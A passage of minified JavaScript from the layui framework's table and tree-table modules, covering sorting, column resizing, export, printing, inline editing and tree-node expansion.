matched\")}t.sortKey={field:d,sort:l.type},i.autoSort&&(\"asc\"===l.type?e=layui.sort(o,d):\"desc\"===l.type?e=layui.sort(o,d,!0):(e=layui.sort(o,b.config.indexName),delete t.sortKey,delete i.initSort)),a[i.response.dataName]=e||o,t.renderData({res:a,curr:t.page,count:t.count,sort:!0,type:l.reloadType}),l.fromEvent&&(i.initSort={field:d,type:l.type},layui.event.call(l.field,w,\"sort(\"+n+\")\",p.extend({config:i},i.initSort)))},n.prototype.loading=function(e){var t=this;t.config.loading&&(e?(t.layInit&&t.layInit.remove(),delete t.layInit,t.layBox.find(\".layui-table-init\").remove()):(t.layInit=p(['<div class=\"layui-table-init\">','<i class=\"layui-icon layui-icon-loading layui-anim layui-anim-rotate layui-anim-loop\"></i>',\"</div>\"].join(\"\")),t.layBox.append(t.layInit)))},n.prototype.setCheckData=function(e,t){var a=this.config,i=b.cache[this.key];i[e]&&\"array\"!==layui.type(i[e])&&(i[e][a.checkName]=t)},n.prototype.syncCheckAll=function(){var e=this,i=e.config,t=e.layHeader.find('input[name=\"layTableCheckbox\"]'),a=function(a){return e.eachCols(function(e,t){\"checkbox\"===t.type&&(t[i.checkName]=a)}),a};t[0]&&(b.checkStatus(e.key).isAll?(t[0].checked||(t.prop(\"checked\",!0),e.renderForm(\"checkbox\")),a(!0)):(t[0].checked&&(t.prop(\"checked\",!1),e.renderForm(\"checkbox\")),a(!1)))},n.prototype.getCssRule=function(a,i){var e=this.elem.find(\"style\")[0],e=e.sheet||e.styleSheet||{},e=e.cssRules||e.rules;layui.each(e,function(e,t){if(t.selectorText===\".laytable-cell-\"+a)return i(t),!0})},n.prototype.fullSize=function(){var e,a,i=this,t=i.config,l=t.height;i.fullHeightGap?(l=I.height()-i.fullHeightGap,i.elem.css(\"height\",l=l<135?135:l)):i.parentDiv&&i.parentHeightGap&&(l=p(i.parentDiv).height()-i.parentHeightGap,i.elem.css(\"height\",l=l<135?135:l)),1<t.cols.length&&(e=i.layFixed.find(o).find(\"th\"),a=i.layHeader.first(),layui.each(e,function(e,t){(t=p(t)).height(a.find('th[data-key=\"'+t.attr(\"data-key\")+'\"]').height()+\"px\")})),l&&(e=parseFloat(l)-(i.layHeader.outerHeight()||38),t.toolbar&&(e-=i.layTool.outerHeight()||50),t.totalRow&&(e-=i.layTotal.outerHeight()||40),(t.page||t.pagebar)&&(e-=i.layPage.outerHeight()||43),t.maxHeight?layui.each({elem:l,layMain:e},function(e,t){i[e].css({height:\"auto\",maxHeight:t+\"px\"})}):i.layMain.outerHeight(e))},n.prototype.getScrollWidth=function(e){var t=0;return e?t=e.offsetWidth-e.clientWidth:((e=document.createElement(\"div\")).style.width=\"100px\",e.style.height=\"100px\",e.style.overflowY=\"scroll\",document.body.appendChild(e),t=e.offsetWidth-e.clientWidth,document.body.removeChild(e)),t},n.prototype.scrollPatch=function(){var e=this,t=e.layMain.children(\"table\"),a=e.layMain.width()-e.layMain.prop(\"clientWidth\"),i=e.layMain.height()-e.layMain.prop(\"clientHeight\"),l=(e.getScrollWidth(e.layMain[0]),t.outerWidth()-e.layMain.width()),n=function(e){var t;a&&i?(e=e.eq(0)).find(\".layui-table-patch\")[0]||((t=p('<th class=\"layui-table-patch\"><div class=\"layui-table-cell\"></div></th>')).find(\"div\").css({width:a}),e.find(\"tr\").append(t)):e.find(\".layui-table-patch\").remove()};n(e.layHeader),n(e.layTotal);n=e.layMain.height()-i;e.layFixed.find(_).css(\"height\",t.height()>=n?n:\"auto\"),e.layFixRight[b.cache[e.key]&&b.cache[e.key].length&&0<l?\"removeClass\":\"addClass\"](T),e.layFixRight.css(\"right\",a-1)},n.prototype.events=function(){var s=this,y=s.config,r=y.elem.attr(\"lay-filter\"),e=s.layHeader.find(\"th\"),u=\".layui-table-cell\",o=p(\"body\"),d={},n=(s.layTool.on(\"click\",\"*[lay-event]\",function(e){var a,i=p(this),t=i.attr(\"lay-event\"),l=function(e){var t=p(e.list),a=p('<ul class=\"'+H+'\"></ul>');a.html(t),y.height&&a.css(\"max-height\",y.height-(s.layTool.outerHeight()||50)),i.find(\".\"+H)[0]||i.append(a),s.renderForm(),a.on(\"click\",function(e){layui.stope(e)}),e.done&&e.done(a,t)};switch(layui.stope(e),F.trigger(\"table.tool.panel.remove\"),h.close(s.tipsIndex),t){case\"LAYTABLE_COLS\":l({list:(a=[],s.eachCols(function(e,t){t.field&&\"normal\"==t.type&&a.push('<li><input type=\"checkbox\" name=\"'+t.field+'\" data-key=\"'+t.key+'\" data-parentkey=\"'+(t.parentKey||\"\")+'\" lay-skin=\"primary\" '+(t.hide?\"\":\"checked\")+' title=\"'+v.escape(p(\"<div>\"+(t.fieldTitle||t.title||t.field)+\"</div>\").text())+'\" lay-filter=\"LAY_TABLE_TOOL_COLS\"></li>')}),a.join(\"\")),done:function(){f.on(\"checkbox(LAY_TABLE_TOOL_COLS)\",function(e){var e=p(e.elem),t=this.checked,a=e.data(\"key\"),i=s.col(a),l=i.hide,e=e.data(\"parentkey\");i.key&&(i.hide=!t,s.elem.find('*[data-key=\"'+a+'\"]')[t?\"removeClass\":\"addClass\"](T),l!=i.hide&&s.setParentCol(!t,e),s.resize(),layui.event.call(this,w,\"colToggled(\"+r+\")\",{col:i,config:y}))})}});break;case\"LAYTABLE_EXPORT\":g.ie?h.tips(\"\\u5bfc\\u51fa\\u529f\\u80fd\\u4e0d\\u652f\\u6301 IE\\uff0c\\u8bf7\\u7528 Chrome \\u7b49\\u9ad8\\u7ea7\\u6d4f\\u89c8\\u5668\\u5bfc\\u51fa\",this,{tips:3}):l({list:['<li data-type=\"csv\">\\u5bfc\\u51fa csv \\u683c\\u5f0f\\u6587\\u4ef6</li>','<li data-type=\"xls\">\\u5bfc\\u51fa xls \\u683c\\u5f0f\\u6587\\u4ef6</li>'].join(\"\"),done:function(e,t){t.on(\"click\",function(){var e=p(this).data(\"type\");b.exportFile.call(s,y.id,null,e)})}});break;case\"LAYTABLE_PRINT\":var n=window.open(\"about:blank\",\"_blank\"),o=[\"<style>\",\"body{font-size: 12px; color: #5F5F5F;}\",\"table{width: 100%; border-collapse: collapse; border-spacing: 0;}\",\"th,td{line-height: 20px; padding: 9px 15px; border: 1px solid #ccc; text-align: left; font-size: 12px; color: #5F5F5F;}\",\"a{color: #5F5F5F; text-decoration:none;}\",\"*.layui-hide{display: none}\",\"</style>\"].join(\"\"),d=p(s.layHeader.html());d.append(s.layMain.find(\"table\").html()),d.append(s.layTotal.find(\"table\").html()),d.find(\"th.layui-table-patch\").remove(),d.find(\"thead>tr>th.\"+j).filter(function(e,t){return!p(t).children(\".\"+M).length}).remove(),d.find(\"tbody>tr>td.\"+j).remove(),n.document.write(o+d.prop(\"outerHTML\")),n.document.close(),n.print(),n.close()}layui.event.call(this,w,\"toolbar(\"+r+\")\",p.extend({event:t,config:y},{}))}),s.layPagebar.on(\"click\",\"*[lay-event]\",function(e){var t=p(this).attr(\"lay-event\");layui.event.call(this,w,\"pagebar(\"+r+\")\",p.extend({event:t,config:y},{}))}),e.on(\"mousemove\",function(e){var t=p(this),a=t.offset().left,e=e.clientX-a;t.data(\"unresize\")||x.eventMoveElem||(d.allowResize=t.width()-e<=10,o.css(\"cursor\",d.allowResize?\"col-resize\":\"\"))}).on(\"mouseleave\",function(){p(this);x.eventMoveElem||o.css(\"cursor\",\"\")}).on(\"mousedown\",function(e){var t,a=p(this);d.allowResize&&(t=a.data(\"key\"),e.preventDefault(),d.offset=[e.clientX,e.clientY],s.getCssRule(t,function(e){var t=e.style.width||a.outerWidth();d.rule=e,d.ruleWidth=parseFloat(t),d.minWidth=a.data(\"minwidth\")||y.cellMinWidth,d.maxWidth=a.data(\"maxwidth\")||y.cellMaxWidth}),a.data(S,d),x.eventMoveElem=a)}),x.docEvent||F.on(\"mousemove\",function(e){var t,a;x.eventMoveElem&&(t=x.eventMoveElem.data(S)||{},x.eventMoveElem.data(\"resizing\",1),e.preventDefault(),t.rule&&(e=t.ruleWidth+e.clientX-t.offset[0],a=x.eventMoveElem.closest(\".\"+R).attr(\"lay-id\"),(a=k(a))&&((e=e<t.minWidth?t.minWidth:e)>t.maxWidth&&(e=t.maxWidth),t.rule.style.width=e+\"px\",a.setGroupWidth(x.eventMoveElem),h.close(s.tipsIndex))))}).on(\"mouseup\",function(e){var t,a,i,l,n;x.eventMoveElem&&(i=(t=x.eventMoveElem).closest(\".\"+R).attr(\"lay-id\"),(a=k(i))&&(i=t.data(\"key\"),l=a.col(i),n=a.config.elem.attr(\"lay-filter\"),d={},o.css(\"cursor\",\"\"),a.scrollPatch(),t.removeData(S),delete x.eventMoveElem,a.getCssRule(i,function(e){l.width=parseFloat(e.style.width),layui.event.call(t[0],w,\"colResized(\"+n+\")\",{col:l,config:a.config})})))}),x.docEvent=!0,e.on(\"click\",function(e){var t=p(this),a=t.find(D),i=a.attr(\"lay-sort\");if(!a[0]||1===t.data(\"resizing\"))return t.removeData(\"resizing\");s.sort({field:t,type:\"asc\"===i?\"desc\":\"desc\"===i?null:\"asc\",fromEvent:!0})}).find(D+\" .layui-edge \").on(\"click\",function(e){var t=p(this),a=t.index(),t=t.parents(\"th\").eq(0).data(\"field\");layui.stope(e),0===a?s.sort({field:t,type:\"asc\",fromEvent:!0}):s.sort({field:t,type:\"desc\",fromEvent:!0})}),s.commonMember=function(e){var t=p(this).parents(\"tr\").eq(0).data(\"index\"),r=s.layBody.find('tr[data-index=\"'+t+'\"]'),c=(c=b.cache[s.key]||[])[t]||{},a={tr:r,config:y,data:b.clearCacheKey(c),index:t,del:function(){b.cache[s.key][t]=[],r.remove(),s.scrollPatch()},update:function(e,d){e=e||{},layui.each(e,function(i,l){var n=r.children('td[data-field=\"'+i+'\"]'),o=n.children(u);c[i]=a.data[i]=l,s.eachCols(function(e,t){var a;t.field==i?(o.html(C.call(s,{item3:t,content:l,tplData:p.extend({LAY_COL:t},c)})),n.data(\"content\",l)):d&&(t.templet||t.toolbar)&&(e=r.children('td[data-field=\"'+(t.field||e)+'\"]'),a=c[t.field],e.children(u).html(C.call(s,{item3:t,content:a,tplData:p.extend({LAY_COL:t},c)})),e.data(\"content\",a))})}),s.renderForm()},setRowChecked:function(e){s.setRowChecked(p.extend({index:t},e))}};return p.extend(a,e)}),t=(s.elem.on(\"click\",'input[name=\"layTableCheckbox\"]+',function(){var e=p(this).prev(),t=s.layBody.find('input[name=\"layTableCheckbox\"]'),a=e.parents(\"tr\").eq(0).data(\"index\"),i=e[0].checked,l=\"layTableAllChoose\"===e.attr(\"lay-filter\");e[0].disabled||(l?(t.each(function(e,t){t.checked=i,s.setCheckData(e,i)}),s.syncCheckAll(),s.renderForm(\"checkbox\")):(s.setCheckData(a,i),s.syncCheckAll()),layui.event.call(e[0],w,\"checkbox(\"+r+\")\",n.call(e[0],{checked:i,type:l?\"all\":\"one\"})))}),s.elem.on(\"click\",'input[lay-type=\"layTableRadio\"]+',function(){var e=p(this).prev(),t=e[0].checked,a=e.parents(\"tr\").eq(0).data(\"index\");e[0].disabled||(s.setRowChecked({type:\"radio\",index:a}),layui.event.call(e[0],w,\"radio(\"+r+\")\",n.call(e[0],{checked:t})))}),s.layBody.on(\"mouseenter\",\"tr\",function(){var e=p(this),t=e.index();e.data(\"off\")||s.layBody.find(\"tr:eq(\"+t+\")\").addClass(E)}).on(\"mouseleave\",\"tr\",function(){var e=p(this),t=e.index();e.data(\"off\")||s.layBody.find(\"tr:eq(\"+t+\")\").removeClass(E)}).on(\"click\",\"tr\",function(){t.call(this,\"row\")}).on(\"dblclick\",\"tr\",function(){t.call(this,\"rowDouble\")}).on(\"contextmenu\",\"tr\",function(e){y.defaultContextmenu||e.preventDefault(),t.call(this,\"rowContextmenu\")}),function(e){var t=p(this);t.data(\"off\")||layui.event.call(this,w,e+\"(\"+r+\")\",n.call(t.children(\"td\")[0]))}),c=function(e,t){var a,i,l,n;(e=p(e)).data(\"off\")||(a=e.data(\"field\"),n=e.data(\"key\"),n=s.col(n),i=e.closest(\"tr\").data(\"index\"),i=b.cache[s.key][i],l=e.children(u),(n=\"function\"==typeof n.edit?n.edit(i):n.edit)&&((n=p(\"textarea\"===n?'<textarea class=\"layui-input '+W+'\"></textarea>':'<input class=\"layui-input '+W+'\">'))[0].value=e.data(\"content\")||i[a]||l.text(),e.find(\".\"+W)[0]||e.append(n),n.focus(),t&&layui.stope(t)))},i=(s.layBody.on(\"change\",\".\"+W,function(){var e=p(this),t=e.parent(),a=this.value,i=e.parent().data(\"field\"),e=e.closest(\"tr\").data(\"index\"),e=b.cache[s.key][e],l=n.call(t[0],{value:a,field:i,oldValue:e[i],td:t,reedit:function(){setTimeout(function(){c(l.td);var e={};e[i]=l.oldValue,l.update(e)})},getCol:function(){return s.col(t.data(\"key\"))}}),e={};e[i]=a,l.update(e),layui.event.call(t[0],w,\"edit(\"+r+\")\",l)}).on(\"blur\",\".\"+W,function(){p(this).remove()}),s.layBody.on(y.editTrigger,\"td\",function(e){c(this,e)}).on(\"mouseenter\",\"td\",function(){a.call(this)}).on(\"mouseleave\",\"td\",function(){a.call(this,\"hide\")}),\"layui-table-grid-down\"),a=function(e){var t=p(this),a=t.children(u);t.data(\"off\")||(e?t.find(\".layui-table-grid-down\").remove():!(a.prop(\"scrollWidth\")>a.outerWidth()||0<a.find(\"br\").length)||y.lineStyle||a.find(\".\"+i)[0]||t.append('<div class=\"'+i+'\"><i class=\"layui-icon layui-icon-down\"></i></div>'))},l=(s.layBody.on(\"click\",\".\"+i,function(e){var t=p(this).parent().children(u);s.tipsIndex=h.tips(['<div class=\"layui-table-tips-main\" style=\"margin-top: -'+(t.height()+23)+\"px;\"+(\"sm\"===y.size?\"padding: 4px 15px; font-size: 12px;\":\"lg\"===y.size?\"padding: 14px 15px;\":\"\")+'\">',t.html(),\"</div>\",'<i class=\"layui-icon layui-table-tips-c layui-icon-close\"></i>'].join(\"\"),t[0],{tips:[3,\"\"],time:-1,anim:-1,maxWidth:g.ios||g.android?300:s.elem.width()/2,isOutAnim:!1,skin:\"layui-table-tips\",success:function(e,t){e.find(\".layui-table-tips-c\").on(\"click\",function(){h.close(t)})}}),layui.stope(e)}),function(e){var t=p(this),a=t.parents(\"tr\").eq(0).data(\"index\");layui.event.call(this,w,(e||\"tool\")+\"(\"+r+\")\",n.call(this,{event:t.attr(\"lay-event\")})),s.setRowChecked({type:\"radio\",index:a},!0)});s.layBody.on(\"click\",\"*[lay-event]\",function(e){l.call(this),layui.stope(e)}).on(\"dblclick\",\"*[lay-event]\",function(e){l.call(this,\"toolDouble\"),layui.stope(e)}),s.layMain.on(\"scroll\",function(){var e=p(this),t=e.scrollLeft(),e=e.scrollTop();s.layHeader.scrollLeft(t),s.layTotal.scrollLeft(t),s.layFixed.find(_).scrollTop(e),h.close(s.tipsIndex)}),I.on(\"resize\",function(){s.resize()})},F.on(\"click\",function(){F.trigger(\"table.remove.tool.panel\")}),F.on(\"table.remove.tool.panel\",function(){p(\".\"+H).remove()}),b.init=function(i,o){o=o||{};var e=\"object\"==typeof i?i:p(\"string\"==typeof i?'table[lay-filter=\"'+i+'\"]':t+\"[lay-data], \"+t+\"[lay-options]\"),d=\"Table element property lay-data configuration item has a syntax error: \";return e.each(function(){var l,e=p(this),t=e.attr(\"lay-data\"),t=r.options(this,{attr:t?\"lay-data\":null,errorText:d+(t||e.attr(\"lay-options\"))}),n=p.extend({elem:this,cols:[],data:[],skin:e.attr(\"lay-skin\"),size:e.attr(\"lay-size\"),even:\"string\"==typeof e.attr(\"lay-even\")},b.config,o,t),a=(i&&e.hide(),e.find(\"thead>tr\").each(function(i){n.cols[i]=[],p(this).children().each(function(e){var t=p(this),a=t.attr(\"lay-data\"),a=r.options(this,{attr:a?\"lay-data\":null,errorText:d+(a||t.attr(\"lay-options\"))}),t=p.extend({title:t.text(),colspan:parseInt(t.attr(\"colspan\"))||0,rowspan:parseInt(t.attr(\"rowspan\"))||0},a);n.cols[i].push(t)})}),e.find(\"tbody>tr\")),t=b.render(n);!a.length||o.data||t.config.url||(l=0,b.eachCols(t.config.id,function(e,i){a.each(function(e){n.data[e]=n.data[e]||{};var t=p(this),a=i.field;n.data[e][a]=t.children(\"td\").eq(l).html()}),l++}),t.reloadData({data:n.data}))}),this},x.that={},x.config={},function(a,i,e,l){var n,o;l.colGroup&&(n=0,a++,l.CHILD_COLS=[],o=e+(parseInt(l.rowspan)||1),layui.each(i[o],function(e,t){t.parentKey?t.parentKey===l.key&&(t.PARENT_COL_INDEX=a,l.CHILD_COLS.push(t),d(a,i,o,t)):t.PARENT_COL_INDEX||1<=n&&n==(l.colspan||1)||(t.PARENT_COL_INDEX=a,l.CHILD_COLS.push(t),n+=t.hide?0:parseInt(1<t.colspan?t.colspan:1),d(a,i,o,t))}))});b.eachCols=function(e,a,i){var e=x.config[e]||{},l=[],n=(i=p.extend(!0,[],i||e.cols),layui.each(i,function(a,e){if(a)return!0;layui.each(e,function(e,t){d(0,i,a,t),t.PARENT_COL_INDEX||l.push(t)})}),function(e){layui.each(e||l,function(e,t){if(t.CHILD_COLS)return n(t.CHILD_COLS);\"function\"==typeof a&&a(e,t)})});n()},b.checkStatus=function(e){var a=0,i=0,l=[],e=b.cache[e]||[];return layui.each(e,function(e,t){\"array\"===layui.type(t)?i++:t[b.config.checkName]&&(a++,t[b.config.disabledName]||l.push(b.clearCacheKey(t)))}),{data:l,isAll:!!e.length&&a===e.length-i}},b.setRowChecked=function(e,t){e=k(e);e&&e.setRowChecked(t)},b.getData=function(e){var a=[],e=b.cache[e]||[];return layui.each(e,function(e,t){\"array\"!==layui.type(t)&&a.push(b.clearCacheKey(t))}),a},b.resize=function(e){e?l(e)&&k(e).resize():layui.each(x.that,function(){this.resize()})},b.exportFile=function(e,t,a){t=t||b.clearCacheKey(b.cache[e]);var o,d,i,r,l=(a=\"object\"==typeof a?a:(l={},a&&(l.type=a),l)).type||\"csv\",c=x.that[e],n=x.config[e]||{},s={csv:\"text/csv\",xls:\"application/vnd.ms-excel\"}[l],y=document.createElement(\"a\");if(g.ie)return u.error(\"IE_NOT_SUPPORT_EXPORTS\");y.href=\"data:\"+s+\";charset=utf-8,\\ufeff\"+encodeURIComponent((o=[],d=[],i=[],r={},layui.each(t,function(i,l){var n=[];\"object\"==typeof e?(layui.each(e,function(e,t){0==i&&o.push(t||\"\")}),layui.each(layui.isArray(l)?p.extend([],l):b.clearCacheKey(l),function(e,t){n.push('\"'+(t||\"\")+'\"')})):b.eachCols(e,function(e,t){var a;t.field&&\"normal\"==t.type&&(t.hide?0==i&&(r[t.field]=!0):((a=l[t.field])!==undefined&&null!==a||(a=\"\"),0==i&&o.push(t.fieldTitle||t.title||t.field||\"\"),a=(a=C.call(c,{item3:t,content:a,tplData:l,text:\"text\",obj:{td:function(e){return c.layBody.find('tr[data-index=\"'+i+'\"]>td').filter('[data-field=\"'+e+'\"]')}}})).replace(/\"/g,'\"\"'),n.push(a='\"'+a+'\"')))}),d.push(n.join(\",\"))}),c&&layui.each(c.dataTotal,function(e,t){r[t.field]||i.push(t.total+\"\\t\")}),o.join(\",\")+\"\\r\\n\"+d.join(\"\\r\\n\")+\"\\r\\n\"+i.join(\",\"))),y.download=(a.title||n.title||\"table_\"+(n.index||\"\"))+\".\"+l,document.body.appendChild(y),y.click(),document.body.removeChild(y)},b.getOptions=l,b.hideCol=function(e,l){var n=k(e);n&&(\"boolean\"===layui.type(l)?n.eachCols(function(e,t){var a=t.key,i=n.col(a),t=t.parentKey;i.hide!=l&&(i=i.hide=l,n.elem.find('*[data-key=\"'+a+'\"]')[i?\"addClass\":\"removeClass\"](T),n.setParentCol(i,t))}):layui.each(l,function(e,l){n.eachCols(function(e,t){var a,i;l.field===t.field&&(a=t.key,i=n.col(a),t=t.parentKey,\"hide\"in l&&i.hide!=l.hide&&(i=i.hide=!!l.hide,n.elem.find('*[data-key=\"'+a+'\"]')[i?\"addClass\":\"removeClass\"](T),n.setParentCol(i,t)))})}),p(\".\"+H).remove(),n.resize())},b.reload=function(e,t,a,i){if(l(e))return e=k(e),e.reload(t,a,i),x.call(e)},b.reloadData=function(){var a=p.extend([],arguments),i=(a[3]=\"reloadData\",new RegExp(\"^(\"+[\"elem\",\"id\",\"cols\",\"width\",\"height\",\"maxHeight\",\"toolbar\",\"defaultToolbar\",\"className\",\"css\",\"totalRow\",\"page\",\"pagebar\"].join(\"|\")+\")$\"));return layui.each(a[1],function(e,t){i.test(e)&&delete a[1][e]}),b.reload.apply(null,a)},b.render=function(e){e=new n(e);return x.call(e)},b.clearCacheKey=function(e){return delete(e=p.extend({},e))[b.config.checkName],delete e[b.config.indexName],delete e[b.config.numbersName],delete e[b.config.disabledName],e},p(function(){b.init()}),e(w,b)});layui.define([\"table\"],function(e){\"use strict\";var O=layui.$,y=layui.form,Y=layui.table,i=layui.hint(),p={config:{},on:Y.on,eachCols:Y.eachCols,index:Y.index,set:function(e){var t=this;return t.config=O.extend({},t.config,e),t},resize:Y.resize},o=function(){var a=this,e=a.config,n=e.id||e.index;return{config:e,reload:function(e,t){a.reload.call(a,e,t)},reloadData:function(e,t){p.reloadData(n,e,t)}}},E=function(e){var t=o.that[e];return t||i.error(e?\"The treeTable instance with ID '\"+e+\"' not found\":\"ID argument required\"),t||null},L=\".layui-table-main\",j=\".layui-table-fixed-l\",P=\".layui-table-fixed-r\",B=\"LAY_DATA_INDEX\",h=\"LAY_DATA_INDEX_HISTORY\",f=\"LAY_PARENT_INDEX\",s=\"LAY_CHECKBOX_HALF\",F=\"LAY_EXPAND\",X=\"LAY_HAS_EXPANDED\",t=function(e){var t=this;t.index=++p.index,t.config=O.extend(!0,{},t.config,p.config,e),t.init(),t.render()},c=function(n,i,e){var l=Y.cache[n];layui.each(e||l,function(e,t){var a=t[B];-1!==a.indexOf(\"-\")&&(l[a]=t),t[i]&&c(n,i,t[i])})};t.prototype.init=function(){var i=this,e=i.config,t=Y.render(O.extend({},e,{data:[],url:\"\",done:null})),l=t.config.id,a=((o.that[l]=i).tableIns=t,e.tree),t=a.customName,r=(t.isParent,t.children),n=e.parseData,d=e.done;e.url?e.parseData=function(){var e=arguments,t=e[0],e=(\"function\"===layui.type(n)&&(t=n.apply(this,e)||e[0]),this.response.dataName);return a.data.isSimpleData&&!a[\"async\"].enable&&(t[e]=i.flatToTree(t[e])),i.initData(t[e]),t}:(e.data=e.data||[],a.data.isSimpleData&&(e.data=i.flatToTree(e.data)),e.initSort&&e.initSort.type&&(e.data=layui.sort(e.data,e.initSort.field,\"desc\"===e.initSort.type)),i.initData(e.data)),e.done=function(){var e,t=arguments,a=this.elem.next(),n=(i.updateStatus(null,{LAY_HAS_EXPANDED:!1}),c(l,r),a.find('[name=\"layTableCheckbox\"][lay-filter=\"layTableAllChoose\"]'));if(n.length&&(e=p.checkStatus(l),n.prop({checked:e.isAll&&e.data.length,indeterminate:!e.isAll&&e.data.length})),i.renderTreeTable(a),\"function\"===layui.type(d))return d.apply(this,t)}},t.prototype.config={tree:{customName:{children:\"children\",isParent:\"isParent\",name:\"name\",id:\"id\",pid:\"parentId\",rootId:null},view:{indent:14,flexIconClose:'<i class=\"layui-icon layui-icon-triangle-r\"></i>',flexIconOpen:'<i class=\"layui-icon layui-icon-triangle-d\"></i>',showIcon:!0,icon:\"\",iconClose:'<i class=\"layui-icon layui-icon-folder-open\"></i>',iconOpen:'<i class=\"layui-icon layui-icon-folder\"></i>',iconLeaf:'<i class=\"layui-icon layui-icon-leaf\"></i>',showFlexIconIfNotParent:!1,dblClickExpand:!0},data:{isSimpleData:!1},\"async\":{enable:!1,url:\"\",type:null,contentType:null,headers:null,where:null,autoParam:[]},callback:{beforeExpand:null,onExpand:null}},autoSort:!1},t.prototype.getOptions=function(){return this.tableIns?Y.getOptions(this.tableIns.config.id):this.config},t.prototype.flatToTree=function(e){var a,n,i,t,l,r=this.getOptions(),d=r.tree.customName,r=r.id;return e=e||Y.cache[r],r=e,a=d.id,n=d.pid,i=d.children,t=d.rootId,a=a||\"id\",n=n||\"parentId\",i=i||\"children\",l={},layui.each(r,function(e,t){l[t[a]]=O.extend({},t),l[t[a]][i]=[]}),layui.each(l,function(e,t){t[n]&&l[t[n]]&&l[t[n]][i].push(t)}),Object.values(l).filter(function(e){return t?e[n]===t:!e[n]})},t.prototype.treeToFlat=function(e,n,i){var l=this,r=l.getOptions().tree.customName,d=r.children,o=r.pid,c=[];return layui.each(e,function(e,t){var e=(i?i+\"-\":\"\")+e,a=O.extend({},t);a[d]=null,a[o]=t[o]||n,c.push(a),c=c.concat(l.treeToFlat(t[d],t[r.id],e))}),c},t.prototype.getNodeDataByIndex=function(a,e,t){var n=this.getOptions(),i=n.tree,l=n.id,r=Y.cache[l][a];if(\"delete\"!==t&&r)return e?O.extend({},r):r;for(var r=this.getTableData(),d=(a+=\"\").split(\"-\"),o=r,c=n.url||1<d.length?null:Y.cache[l],u=0,f=i.customName.children;u<d.length;u++){if(t&&u===d.length-1){if(\"delete\"===t)return c&&layui.each(c,function(e,t){if(t[B]===a)return c.splice(e,1),!0}),(u?o[f]:o).splice(d[u],1)[0];O.extend((u?o[f]:o)[d[u]],t)}o=(u?o[f]:o)[d[u]]}return e?O.extend({},o):o},p.getNodeDataByIndex=function(e,t){e=E(e);if(e)return e.getNodeDataByIndex(t,!0)};t.prototype.initData=function(e,a){var n=this,t=n.getOptions(),i=t.tree,t=t.id,i=(e=e||n.getTableData(),i.customName),l=i.isParent,r=i.children;return layui.each(e,function(e,t){l in t||(t[l]=!(!t[r]||!t[r].length)),t[h]=t[B],t[f]=a=a||\"\";e=t[B]=(a?a+\"-\":\"\")+e;n.initData(t[r]||[],e)}),a||c(t,r),e};var U=function(t,a,n,i,l){var e=t.trElem,r=e.closest(\".layui-table-view\"),d=(r.attr(\"lay-filter\"),r.attr(\"lay-id\")),o=Y.getOptions(d),c=o.tree||{},u=c.customName||{},f=u.isParent,s=e.attr(\"lay-data-index\"),y=E(d),p=(y.getTableData(),y.getNodeDataByIndex(s)),h=(e.data(\"level\")||0)+1,x=\"boolean\"!==layui.type(a),e=x?!p[F]:a,m=p[f]?e:null;if(l&&e!=p[F]&&(!p.LAY_ASYNC_STATUS||\"local\"===p.LAY_ASYNC_STATUS)){var b=c.callback.beforeExpand;if(\"function\"===layui.type(b)&&!1===b(d,p,a))return m}var b=p[X],g=r.find('tr[lay-data-index=\"'+s+'\"]'),v=g.find(\".layui-table-tree-flexIcon\"),f=(v.html(e?c.view.flexIconOpen:c.view.flexIconClose),p[f]&&v.css(\"visibility\",\"visible\"),c.view.showIcon&&p[f]&&!p.icon&&!c.view.icon&&g.find(\".layui-table-tree-nodeIcon\").html(e?c.view.iconOpen:c.view.iconClose),p[u.children]||[]);if(e)if(b)p[F]=e,r.find(f.map(function(e,t,a){return'tr[lay-data-index=\"'+e[B]+'\"]'}).join(\",\")).removeClass(\"layui-hide\"),layui.each(f,function(e,t){n&&!x?U({trElem:r.find('tr[lay-data-index=\"'+t.LAY_DATA_INDEX+'\"]').first()},a,n,i,l):t[F]&&U({trElem:r.find('tr[lay-data-index=\"'+t.LAY_DATA_INDEX+'\"]').first()},!0)});else{var N,T,_,A,D,I,S,C,k,g=c[\"async\"]||{},w=g.url||o.url;if(g.enable&&w&&!p.LAY_ASYNC_STATUS)return p.LAY_ASYNC_STATUS=\"loading\",N=O.extend({},g.where||o.where),T=g.autoParam,layui.each(T,function(e,t){t=t.split(\"=\");N[t[0].trim()]=p[(t[1]||t[0]).trim()]}),(T=g.contentType||o.contentType)&&0==T.indexOf(\"application/json\")&&(N=JSON.stringify(N)),C=g.method||o.method,_=g.dataType||o.dataType,A=g.jsonpCallback||o.jsonpCallback,D=g.headers||o.headers,I=g.parseData||o.parseData,S=g.response||o.response,v.html('<i class=\"layui-icon layui-icon-loading layui-anim layui-anim-loop layui-anim-rotate\"></i>'),O.ajax({type:C||\"get\",url:w,contentType:T,data:N,dataType:_||\"json\",jsonpCallback:A,headers:D||{},success:function(e){p.LAY_ASYNC_STATUS=\"success\",(e=\"function\"==typeof I?I.call(o,e)||e:e)[S.statusName]!=S.statusCode?(p.LAY_ASYNC_STATUS=\"error\",v.html('<i class=\"layui-icon layui-icon-refresh\"></i>')):(p[u.children]=e[S.dataName],y.initData(p[u.children],p[B]),U(t,!0,!x&&n,i,l))},error:function(e,t){p.LAY_ASYNC_STATUS=\"error\",\"function\"==typeof o.error&&o.error(e,t)}}),m;p[F]=e,b=p[X]=!0,f.length&&(o.initSort&&!o.url&&(f=(g=o.initSort).type?p[u.children]=layui.sort(f,g.field,\"desc\"===g.type):p[u.children]=layui.sort(f,Y.config.indexName)),y.initData(p[u.children],p[B]),C=Y.getTrHtml(d,f,null,null,s),k={trs:O(C.trs.join(\"\")),trs_fixed:O(C.trs_fixed.join(\"\")),trs_fixed_r:O(C.trs_fixed_r.join(\"\"))},layui.each(f,function(e,t){k.trs.eq(e).attr({\"data-index\":t[B],\"lay-data-index\":t[B],\"data-level\":h}),k.trs_fixed.eq(e).attr({\"data-index\":t[B],\"lay-data-index\":t[B],\"data-level\":h}),k.trs_fixed_r.eq(e).attr({\"data-index\":t[B],\"lay-data-index\":t[B],\"data-level\":h})}),r.find(L).find('tbody tr[lay-data-index=\"'+s+'\"]').after(k.trs),r.find(j).find('tbody tr[lay-data-index=\"'+s+'\"]').after(k.trs_fixed),r.find(P).find('tbody tr[lay-data-index=\"'+s+'\"]').after(k.trs_fixed_r),layui.each(k,function(e,t){y.renderTreeTable(t,h)}),n&&!x&&layui.each(f,function(e,t){U({trElem:r.find('tr[lay-data-index=\"'+t.LAY_DATA_INDEX+'\"]').first()},a,n,i,l)}))}else 